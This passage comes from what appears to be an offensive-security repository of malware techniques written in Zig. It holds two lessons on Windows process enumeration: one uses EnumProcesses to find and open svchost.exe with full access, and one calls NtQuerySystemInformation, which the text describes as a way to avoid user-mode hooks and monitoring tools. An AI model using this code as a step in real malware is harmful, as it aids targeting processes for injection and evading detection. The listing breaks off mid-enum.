    // identifier. This field is generated by the Zig toolchain when the
    // package is first created, and then *never changes*. This allows
    // unambiguous detection of one package being an updated version of
    // another.
    //
    // When forking a Zig project, this id should be regenerated (delete the
    // field and run `zig build`) if the upstream project is still maintained.
    // Otherwise, the fork is *hostile*, attempting to take control over the
    // original project's identity. Thus it is recommended to leave the comment
    // on the following line intact, so that it shows up in code reviews that
    // modify the field.
    .fingerprint = 0x4734910491fed5,

    // Tracks the earliest Zig version that the package considers to be a
    // supported use case.
    .minimum_zig_version = "0.14.0",

    // This field is optional.
    // Each dependency must either provide a `url` and `hash`, or a `path`.
    // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
    // Once all dependencies are fetched, `zig build` no longer requires
    // internet connectivity.
    .dependencies = .{
        // See `zig fetch --save <url>` for a command-line interface for adding dependencies.
        //.example = .{
        //    // When updating this field to a new URL, be sure to delete the corresponding
        //    // `hash`, otherwise you are communicating that you expect to find the old hash at
        //    // the new URL. If the contents of a URL change this will result in a hash mismatch
        //    // which will prevent zig from using it.
        //    .url = "https://example.com/foo.tar.gz",
        //
        //    // This is computed from the file contents of the directory of files that is
        //    // obtained after fetching `url` and applying the inclusion rules given by
        //    // `paths`.
        //    //
        //    // This field is the source of truth; packages do not come from a `url`; they
        //    // come from a `hash`. `url` is just one of many possible mirrors for how to
        //    // obtain a package matching this `hash`.
        //    //
        //    // Uses the [multihash](https://multiformats.io/multihash/) format.
        //    .hash = "...",
        //
        //    // When this is provided, the package is found in a directory relative to the
        //    // build root. In this case the package's hash is irrelevant and therefore not
        //    // computed. This field and `url` are mutually exclusive.
        //    .path = "foo",
        //
        //    // When this is set to `true`, a package is declared to be lazily
        //    // fetched. This makes the dependency only get fetched if it is
        //    // actually used.
        //    .lazy = false,
        //},
    },

    // Specifies the set of files and directories that are included in this package.
    // Only files and directories listed here are included in the `hash` that
    // is computed for this package. Only files listed here will remain on disk
    // when using the zig package manager. As a rule of thumb, one should list
    // files required for compilation plus any license(s).
    // Paths are relative to the build root. Use the empty string (`""`) to refer to
    // the build root itself.
    // A directory listed here means that all files within, recursively, are included.
    .paths = .{
        "build.zig",
        "build.zig.zon",
        "src",
        // For example...
        //"LICENSE",
        //"README.md",
    },
}

```

## /src/Malware-Techniques/Process-Enumeration/enum_processes/src/main.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/enum_processes/src/main.zig" 
const std = @import("std");
const windows = std.os.windows;
const WINAPI = windows.WINAPI;

// Windows API constants and types
const DWORD = windows.DWORD;
const HANDLE = windows.HANDLE;
const BOOL = windows.BOOL;
const LPCWSTR = windows.LPCWSTR;
const HMODULE = windows.HMODULE;
const MAX_PATH = windows.MAX_PATH;

// Define a UTF-8 to UTF-16 string converter
const W = std.unicode.utf8ToUtf16LeStringLiteral;

// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;
const PROCESS_QUERY_INFORMATION = 0x0400;
const PROCESS_VM_READ = 0x0010;

// External Windows API functions
extern "psapi" fn EnumProcesses(lpidProcess: [*]DWORD, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL;
extern "psapi" fn EnumProcessModules(hProcess: HANDLE, lphModule: *HMODULE, cb: DWORD, lpcbNeeded: *DWORD) callconv(WINAPI) BOOL;
extern "psapi" fn GetModuleBaseNameW(hProcess: HANDLE, hModule: HMODULE, lpBaseName: [*]u16, nSize: DWORD) callconv(WINAPI) DWORD;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;

const ProcessInfo = struct {
    pid: DWORD,
    handle: HANDLE,
};

fn getRemoteProcessHandle(allocator: std.mem.Allocator, proc_name: []const u16) !?ProcessInfo {
    _ = allocator; // suppress unused parameter warning
    var processes: [1024 * 2]DWORD = undefined;
    var return_len: DWORD = 0;
    var return_len2: DWORD = 0;

    // Get the array of PIDs in the system
    if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) {
        std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()});
        return null;
    }

    // Calculate the number of elements in the array returned
    const number_of_pids = return_len / @sizeOf(DWORD);
    std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids});

    for (0..number_of_pids) |i| {
        // If process PID is not NULL
        if (processes[i] != 0) {
            // Open a process handle
            if (OpenProcess(PROCESS_ALL_ACCESS, 0, processes[i])) |h_process| {
                var h_module: HMODULE = undefined;

                // If handle is valid
                // Get a handle of a module in the process
                // The module handle is needed for `GetModuleBaseNameW`
                if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) {
                    var proc_name_buffer: [MAX_PATH]u16 = undefined;

                    // Get the name of the process
                    if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) {
                        // Find the null terminator
                        var name_len: usize = 0;
                        for (proc_name_buffer) |char| {
                            if (char == 0) break;
                            name_len += 1;
                        }

                        // Compare process names
                        if (std.mem.eql(u16, proc_name, proc_name_buffer[0..name_len])) {
                            return ProcessInfo{
                                .pid = processes[i],
                                .handle = h_process,
                            };
                        }
                    } else {
                        std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                    }
                } else {
                    std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                }

                _ = CloseHandle(h_process);
            }
        }
    }

    return null;
}

fn printProcesses() !void {
    var processes: [1024 * 2]DWORD = undefined;
    var return_len: DWORD = 0;
    var return_len2: DWORD = 0;

    // Get the array of PIDs in the system
    if (EnumProcesses(&processes, @sizeOf(@TypeOf(processes)), &return_len) == 0) {
        std.debug.print("[!] EnumProcesses Failed With Error: {}\n", .{GetLastError()});
        return;
    }

    // Calculate the number of elements in the array returned
    const number_of_pids = return_len / @sizeOf(DWORD);
    std.debug.print("[i] Number Of Processes Detected: {}\n", .{number_of_pids});

    for (0..number_of_pids) |i| {
        if (processes[i] != 0) {
            // Open a process handle with limited access
            if (OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, processes[i])) |h_process| {
                var h_module: HMODULE = undefined;

                // Get a handle of a module in the process
                if (EnumProcessModules(h_process, &h_module, @sizeOf(HMODULE), &return_len2) != 0) {
                    var proc_name_buffer: [MAX_PATH]u16 = undefined;

                    // Get the name of the process
                    if (GetModuleBaseNameW(h_process, h_module, &proc_name_buffer, proc_name_buffer.len) != 0) {
                        // Find the null terminator
                        var name_len: usize = 0;
                        for (proc_name_buffer) |char| {
                            if (char == 0) break;
                            name_len += 1;
                        }

                        // Convert UTF-16 to UTF-8 for printing
                        var utf8_name: [MAX_PATH * 2]u8 = undefined;
                        if (std.unicode.utf16LeToUtf8(&utf8_name, proc_name_buffer[0..name_len])) |utf8_len| {
                            std.debug.print("[{:0>3}] Process \"{s}\" - Of Pid: {}\n", .{ i, utf8_name[0..utf8_len], processes[i] });
                        } else |_| {
                            std.debug.print("[{:0>3}] Process [encoding error] - Of Pid: {}\n", .{ i, processes[i] });
                        }
                    } else {
                        std.debug.print("[!] GetModuleBaseName Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                    }
                } else {
                    std.debug.print("[!] EnumProcessModules Failed [At Pid: {}] With Error: {}\n", .{ processes[i], GetLastError() });
                }

                _ = CloseHandle(h_process);
            }
        }
    }
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    // Define target process name as UTF-16 array
    const target_name = W("svchost.exe");

    if (getRemoteProcessHandle(allocator, target_name)) |maybe_process_info| {
        if (maybe_process_info) |process_info| {
            var utf8_name: [MAX_PATH * 2]u8 = undefined;
            if (std.unicode.utf16LeToUtf8(&utf8_name, target_name)) |utf8_len| {
                std.debug.print("[+] FOUND \"{s}\" - Of Pid: {}\n", .{ utf8_name[0..utf8_len], process_info.pid });
            } else |_| {
                std.debug.print("[+] FOUND [encoding error] - Of Pid: {}\n", .{process_info.pid});
            }

            // Don't forget to close the handle
            _ = CloseHandle(process_info.handle);
        } else {
            std.debug.print("[!] Target process not found\n", .{});
            return;
        }
    } else |err| {
        std.debug.print("[!] Error occurred: {}\n", .{err});
        return;
    }

    // NOTE: Uncomment this to print all processes
    // try printProcesses();

    std.debug.print("[#] Press <Enter> To Quit ... ", .{});
    const stdin = std.io.getStdIn().reader();
    _ = try stdin.readByte();
}

```

## /src/Malware-Techniques/Process-Enumeration/enum_processes/src/root.zig

```zig path="/src/Malware-Techniques/Process-Enumeration/enum_processes/src/root.zig" 
//! By convention, root.zig is the root source file when making a library. If
//! you are making an executable, the convention is to delete this file and
//! start with main.zig instead.
const std = @import("std");
const testing = std.testing;

pub export fn add(a: i32, b: i32) i32 {
    return a + b;
}

test "basic add functionality" {
    try testing.expect(add(3, 7) == 10);
}

```

## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information.md

# Using NtQuerySystemInformation

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Enumeration/nt_query_system_information)

`NtQuerySystemInformation` is a native function exported by `ntdll.dll` that can
return extensive system data, including the list of running processes. Because
it operates at a lower level than `EnumProcesses`, it is sometimes used by
attackers to avoid user‑mode hooks placed on higher level APIs. The example code
invokes this function with the `SystemProcessInformation` class and manually
parses the returned structures to enumerate processes. This method grants access
to detailed information and can bypass certain monitoring tools that expect the
PSAPI techniques.

## Code Walkthrough

```zig title="main.zig"
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
const windows_structs = @import("./windows_structs.zig");

// Windows API types
const DWORD = windows.DWORD;
const HANDLE = windows.HANDLE;
const BOOL = windows.BOOL;
const ULONG = windows.ULONG;
const NTSTATUS = windows.NTSTATUS;
const PVOID = ?*anyopaque;
const USHORT = windows.USHORT;
const PWSTR = windows.PWSTR;
const SIZE_T = windows.SIZE_T;
const LPCWSTR = windows.LPCWSTR;
const HMODULE = windows.HMODULE;
const WINAPI = windows.WINAPI;

// Configuration
const TARGET_PROCESS = "notepad.exe";

// Convert UTF-8 to UTF-16 at compile time
const W = std.unicode.utf8ToUtf16LeStringLiteral;

const UNICODE_STRING = windows_structs.UNICODE_STRING;

const SYSTEM_INFORMATION_CLASS = windows_structs.SYSTEM_INFORMATION_CLASS;

const SYSTEM_PROCESS_INFORMATION = windows_structs.SYSTEM_PROCESS_INFORMATION;

// Function pointer type for NtQuerySystemInformation
const NtQuerySystemInformationFn = *const fn (
    SystemInformationClass: SYSTEM_INFORMATION_CLASS,
    SystemInformation: PVOID,
    SystemInformationLength: ULONG,
    ReturnLength: ?*ULONG,
) callconv(WINAPI) NTSTATUS;

// ProcessResult structure (equivalent to Rust's Option<(u32, HANDLE)>)
const ProcessResult = struct {
    pid: DWORD,
    handle: HANDLE,

    pub fn deinit(self: ProcessResult) void {
        _ = CloseHandle(self.handle);
    }
};

// External function declarations
extern "kernel32" fn GetProcAddress(hModule: HMODULE, lpProcName: [*:0]const u8) callconv(WINAPI) PVOID;
extern "kernel32" fn GetModuleHandleW(lpModuleName: LPCWSTR) callconv(WINAPI) ?HMODULE;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;
extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(WINAPI) PVOID;
extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: PVOID) callconv(WINAPI) BOOL;
extern "kernel32" fn GetProcessHeap() callconv(WINAPI) HANDLE;

// Constants
const PROCESS_ALL_ACCESS = 0x001F0FFF;
const HEAP_ZERO_MEMORY = 0x00000008;
const STATUS_SUCCESS: NTSTATUS = windows.NTSTATUS.SUCCESS;

// Helper function to convert UNICODE_STRING to Zig slice
fn unicodeStringToSlice(unicode_str: UNICODE_STRING) []u16 {
    if (unicode_str.Buffer == null or unicode_str.Length == 0) {
        return &[_]u16{};
    }
    return @as([*]u16, @ptrCast(unicode_str.Buffer))[0 .. unicode_str.Length / 2];
}

// Helper function to convert string to lowercase
fn toLowercase(allocator: std.mem.Allocator, input: []const u8) ![]u8 {
    var result = try allocator.alloc(u8, input.len);
    for (input, 0..) |char, i| {
        result[i] = std.ascii.toLower(char);
    }
    return result;
}

// Function to get remote process handle using dynamic loading (equivalent to Rust function)
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) ?ProcessResult {
    // Load NtQuerySystemInformation dynamically
    const ntdll = GetModuleHandleW(W("ntdll.dll")) orelse {
        print("[!] GetModuleHandleW failed!\n", .{});
        return null;
    };

    const nt_query_proc = GetProcAddress(ntdll, "NtQuerySystemInformation") orelse {
        print("[!] GetProcAddress failed!\n", .{});
        return null;
    };

    // Cast to function pointer (equivalent to Rust's transmute)
    const nt_query_sys_info = @as(NtQuerySystemInformationFn, @ptrCast(nt_query_proc));

    var return_length: ULONG = 0;

    // First call to get buffer size
    _ = nt_query_sys_info(.SystemProcessInformation, null, 0, &return_length);

    if (return_length == 0) {
        print("[!] Failed to get buffer size.\n", .{});
        return null;
    }

    // Allocate buffer (equivalent to Rust's HeapAlloc)
    const heap = GetProcessHeap();
    const proc_info_ptr = HeapAlloc(heap, HEAP_ZERO_MEMORY, return_length) orelse {
        print("[!] HeapAlloc failed!\n", .{});
        return null;
    };
    defer _ = HeapFree(heap, 0, proc_info_ptr);

    // Second call to get actual data
    const status = nt_query_sys_info(
        .SystemProcessInformation,
        proc_info_ptr,
        return_length,
        &return_length,
    );

    if (status != STATUS_SUCCESS) {
        print("[!] NtQuerySystemInformation failed!\n", .{});
        return null;
    }

    // Convert target process name to lowercase for comparison
    const target_lower = toLowercase(allocator, process_name) catch {
        print("[!] Memory allocation failed for target name.\n", .{});
        return null;
    };
    defer allocator.free(target_lower);

    // Iterate through processes (equivalent to Rust's loop)
    var proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(proc_info_ptr)));

    while (true) {
        // Get process name from UNICODE_STRING
        const image_name_ptr = proc_info.ImageName.Buffer;
        const process_id = @as(DWORD, @intCast(@intFromPtr(proc_info.UniqueProcessId)));

        if (image_name_ptr != null and proc_info.ImageName.Length > 0) {
            // Convert Unicode string to UTF-8 (equivalent to Rust's OsString::from_wide)
            const wide_chars = unicodeStringToSlice(proc_info.ImageName);

            // Convert UTF-16 to UTF-8
            var utf8_buffer: [260]u8 = undefined;
            if (std.unicode.utf16LeToUtf8(&utf8_buffer, wide_chars)) |utf8_len| {
                const process_name_str = utf8_buffer[0..utf8_len];

                // Convert to lowercase for comparison (equivalent to Rust's to_lowercase())
                const process_lower = toLowercase(allocator, process_name_str) catch continue;
                defer allocator.free(process_lower);

                // Compare process names (case-insensitive, equivalent to Rust comparison)
                if (std.mem.eql(u8, process_lower, target_lower)) {
                    const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id) orelse {
                        print("[!] OpenProcess failed for PID: {}\n", .{process_id});
                        continue;
                    };

                    return ProcessResult{
                        .pid = process_id,
                        .handle = handle,
                    };
                }
            } else |_| {
                // Skip processes with encoding errors
                continue;
            }
        }

        // Move to next process (equivalent to Rust's pointer arithmetic)
        if (proc_info.NextEntryOffset == 0) {
            break;
        }

        proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(@as([*]u8, @ptrCast(proc_info)) + proc_info.NextEntryOffset)));
    }

    return null;
}

// Wait for user input (equivalent to Rust's stdin().read_line())
fn waitForInput() !void {
    print("[#] Press Enter to exit...\n", .{});
    const stdin = std.io.getStdIn().reader();
    _ = try stdin.readByte();
}

// Main function (equivalent to Rust's main)
pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    // Get remote process handle (equivalent to Rust's match statement)
    if (getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| {
        defer result.deinit();

        print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid });
    } else {
        print("[!] Could not find process {s}\n", .{TARGET_PROCESS});
    }

    try waitForInput();
}
```

```zig title="windows_structs.zig"
const std = @import("std");
const windows = std.os.windows;

// Re-export Windows types
pub const USHORT = windows.USHORT;
pub const ULONG = windows.ULONG;
pub const ULONGLONG = windows.ULONGLONG;
pub const HANDLE = windows.HANDLE;
pub const SIZE_T = windows.SIZE_T;
pub const ULONG_PTR = windows.ULONG_PTR;
pub const LARGE_INTEGER = windows.LARGE_INTEGER;
pub const LONG = windows.LONG;

pub const UNICODE_STRING = extern struct {
    Length: USHORT,
    MaximumLength: USHORT,
    Buffer: ?[*:0]u16, // PWSTR in Zig (made optional for null checking)
};

// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1324
pub const SYSTEM_INFORMATION_CLASS = enum(c_int) {
    SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION
    SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
    SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION
    SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION
    SystemPathInformation, // not implemented
    SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
    SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION
    SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION
    SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION
    SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10
    SystemModuleInformation, // q: RTL_PROCESS_MODULES
    SystemLocksInformation, // q: RTL_PROCESS_LOCKS
    SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES
    SystemPagedPoolInformation, // not implemented
    SystemNonPagedPoolInformation, // not implemented
    SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION
    SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION
    SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION
    SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO
    SystemVdmBopInformation, // not implemented // 20
    SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache)
    SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION
    SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege)
    SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
    SystemLoadGdiDriverInformation, // s (kernel-mode only)
    SystemUnloadGdiDriverInformation, // s (kernel-mode only)
    SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege)
    SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
    SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30
    SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS)
    SystemObsolete0, // not implemented
    SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION
    SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege)
    SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION
    SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION
    SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege)
    SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only
    SystemPrioritySeperation, // s (requires SeTcbPrivilege)
    SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40
    SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege)
    SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION
    SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION
    SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION
    SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege)
    SystemSessionCreate, // not implemented
    SystemSessionDetach, // not implemented
    SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION)
    SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50
    SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege)
    SystemVerifierThunkExtend, // s (kernel-mode only)
    SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION
    SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation)
    SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION
    SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation
    SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
    SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment
    SystemComPlusPackage, // q; s: ULONG
    SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60
    SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION
    SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
    SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX
    SystemLostDelayedWriteInformation, // q: ULONG
    SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION
    SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION
    SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION
    SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION
    SystemObjectSecurityMode, // q: ULONG // 70
    SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only)
    SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only)
    SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup)
    SystemWow64SharedInformationObsolete, // not implemented
    SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only)
    SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION
    SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX
    SystemVerifierTriageInformation, // not implemented
    SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation
    SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80
    SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation)
    SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege)
    SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
    SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation
    SystemProcessorPowerInformationEx, // not implemented
    SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation
    SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0
    SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION
    SystemErrorPortInformation, // s (requires SeTcbPrivilege)
    SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90
    SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION
    SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX
    SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
    SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege)
    SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege)
    SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION
    SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege)
    SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION
    SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION
    SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100
    SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP
    SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
    SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation
    SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION
    SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23
    SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation
    SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship
    SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
    SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation
    SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110
    SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege)
    SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION
    SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION
    SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION
    SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS
    SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION
    SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation
    SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION
    SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool)
    SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120
    SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber)
    SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26
    SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation
    SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1
    SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8
    SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only)
    SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION
    SystemBadPageInformation,
